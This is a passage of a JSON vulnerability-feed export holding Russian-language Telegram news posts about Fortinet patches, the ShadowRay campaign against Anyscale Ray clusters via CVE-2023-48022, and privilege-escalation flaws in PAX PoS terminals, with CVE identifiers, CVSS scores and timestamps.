\u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445), \u0432\u0441\u0435 \u043e\u043d\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0446\u0435\u043d\u043a\u0443 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u0412 FortiIsolator \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 CVE-2024-55590, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u0432 FortiADC \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-37933, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 XSS-\u0430\u0442\u0430\u043a\u0438.\u00a0\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 Fortinet \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0432\u0435\u0431-\u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u0432.\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438.\n\nFortinet \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044f \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e \u0444\u0430\u043a\u0442\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u0437 \u043d\u0438\u0445.\n\n\u041d\u043e, \u043a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430, \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043a\u0430.", "creation_timestamp": "2025-03-13T16:20:05.000000Z"}, {"uuid": "dd072918-bf14-4177-9f3f-ffd102cf62b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "exploited", "source": "https://t.me/true_secator/5575", "content": "Oligo \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u043c \u0432\u0437\u043b\u043e\u043c\u0435 \u0441\u043e\u0442\u0435\u043d \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043e\u0432 \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0430 Anyscale Ray \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c, \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044f \u0435\u0435 \u043a\u0430\u043a \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435.\n\n\u0412 \u043d\u043e\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430 Anyscale \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Ray, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u0437 \u043d\u0438\u0445:  CVE-2023-6019, CVE-2023-6020, CVE-2023-6021 \u0438 CVE-2023-48023.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043f\u044f\u0442\u0430\u044f CVE-2023-48022, \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE-\u043e\u0448\u0438\u0431\u043a\u0430, \u043e\u0441\u0442\u0430\u043b\u0430\u0441\u044c \u0431\u0435\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443, \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e Anyscale, \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u0438 \u043d\u0435 \u043d\u0443\u0436\u0434\u0430\u043b\u0430\u0441\u044c \u0432 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nAnyscale \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445, \u043d\u0430\u0440\u0443\u0448\u0430\u044e\u0449\u0438\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043f\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0441\u0442\u0440\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435.\n\n\u0421\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441\u043c\u0435\u043a\u043d\u0443\u0432\u0448\u0438\u0435 \u0444\u0438\u0448\u043a\u0443 \u0445\u0430\u043a\u0435\u0440\u044b \u0431\u044b\u0441\u0442\u0440\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 5 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e ShadowRay \u0441 \u0446\u0435\u043b\u044c\u044e \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u043e\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u0438 \u043a\u0440\u0430\u0436\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u044b\u0441\u044f\u0447 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439.\n\nCVE-2023-48022 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 9,8 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u043e \u0432\u0441\u0435\u043c \u0437\u0430\u043c\u0435\u0442\u043a\u0430\u043c \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Oligo, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0442\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438\u00a0\u0431\u044b\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u044b \u0441\u043e\u0442\u043d\u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043e\u0432 Ray, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u0445\u0438\u0442\u0438\u043b\u0438 \u043c\u0430\u0441\u0441\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0418\u0418, \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445, \u0445\u044d\u0448\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439, \u043a\u043b\u044e\u0447\u0438 SSH, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0442\u043e\u043a\u0435\u043d\u044b OpenAI, HuggingFace \u0438 Stripe.\n\n\u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u043c\u043d\u043e\u0433\u0438\u0435 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u043b\u043e \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432.\n\n\u0421\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u044b \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a API Kubernetes \u0438 \u0442\u043e\u043a\u0435\u043d\u044b Slack.\n\nOligo \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043e\u0432 \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u044b \u043a\u0440\u0438\u043f\u0442\u043e\u043c\u0430\u0439\u043d\u0435\u0440\u0430\u043c\u0438, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 XMRig, NBMiner \u0438 Zephyr \u043d\u0430 \u0431\u0430\u0437\u0435 Java, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u043c\u0438 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431 \u0430\u0442\u0430\u043a \u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0441\u043e\u0431\u044b\u0442\u0438\u0439, Oligo \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0437\u0430 ShadowRay \u0441\u0442\u043e\u0438\u0442 \u043e\u043f\u044b\u0442\u043d\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f Interactsh \u0434\u043b\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438 \u043e\u0431\u0449\u0435\u0439 \u0434\u0435\u0437\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043f\u043e\u0440\u043d\u043e\u0439 CVE.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0432 base64, \u0432\u044b\u044f\u0432\u043b\u044f\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u043e\u0434\u043d\u0438\u043c\u00a0AV-\u0434\u0432\u0438\u0436\u043a\u043e\u043c VirusTotal.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u0438\u043c\u0435\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 30 500 \u0437\u0432\u0435\u0437\u0434 \u043d\u0430 GitHub \u0438 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u043c\u043d\u043e\u0433\u0438\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Amazon, Spotify, LinkedIn, Instacart, Netflix, Uber \u0438 OpenAI, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f ShadowRay \u0432 \u043f\u0435\u0440\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u044b\u043c\u0438.\n\n\u0411\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2024-03-27T17:30:05.000000Z"}, {"uuid": "ede259aa-3d8a-43fc-99e3-50b252f65317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4818", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5303", "content": "\u041f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 PoS-\u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u044b \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 PayDroid (\u043d\u0430 \u0431\u0430\u0437\u0435 Android) \u043e\u0442 PAX Technology \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0440\u044f\u0434\u0443 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434.\n\n\u041a \u0442\u0430\u043a\u0438\u043c \u0432\u044b\u0432\u043e\u0434\u0430\u043c \u043f\u0440\u0438\u0448\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 STM Cyber R&D \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0430 POS-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u0440\u0435\u043b\u0438 \u0448\u0438\u0440\u043e\u043a\u0443\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0432 \u0440\u0438\u0442\u0435\u0439\u043b\u0435 \u043c\u043d\u043e\u0433\u0438\u0445 \u0441\u0442\u0440\u0430\u043d, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438 \u0420\u043e\u0441\u0441\u0438\u044e.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2023-42133) \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u044e\u0442\u0441\u044f. \u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a:\n\n- CVE-2023-42134 \u0438 CVE-2023-42135 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,6): \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root \u0447\u0435\u0440\u0435\u0437 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u044f\u0434\u0440\u0430 \u0432 fastboot (\u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 PAX A920Pro/PAX A50)\n\n- CVE-2023-42136\u00a0(\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,8): \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043e\u0442 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f/\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0447\u0435\u0440\u0435\u0437 \u0441\u043b\u0443\u0436\u0431\u0443, \u043e\u0442\u043a\u0440\u044b\u0442\u0443\u044e \u0434\u043b\u044f \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 (\u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 PAX PoS \u043d\u0430 \u0431\u0430\u0437\u0435 Android).\n\n- CVE-2023-42137\u00a0(\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,8): \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b/\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0434\u043e root \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 systool_server (\u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 PAX PoS \u043d\u0430 \u0431\u0430\u0437\u0435 Android).\n\n- CVE-2023-4818\u00a0(\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,3): \u043f\u043e\u043d\u0438\u0436\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u0442\u043e\u043a\u0435\u043d\u0438\u0437\u0430\u0446\u0438\u0438 (\u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 PAX A920).\n\n\u0414\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f CVE-2023-42136 \u0438 CVE-2023-42137 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0430 \u0434\u043b\u044f \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0445 